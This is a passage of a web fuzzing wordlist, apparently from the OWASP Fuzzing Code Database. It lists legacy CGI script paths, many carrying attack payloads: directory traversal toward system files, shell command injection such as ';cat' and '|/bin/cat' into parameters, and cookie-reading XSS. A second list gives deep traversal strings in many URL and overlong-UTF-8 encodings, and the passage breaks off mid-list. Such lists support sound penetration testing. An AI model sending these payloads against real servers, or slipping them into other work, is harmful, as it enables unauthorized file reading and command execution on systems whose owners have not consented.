emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> 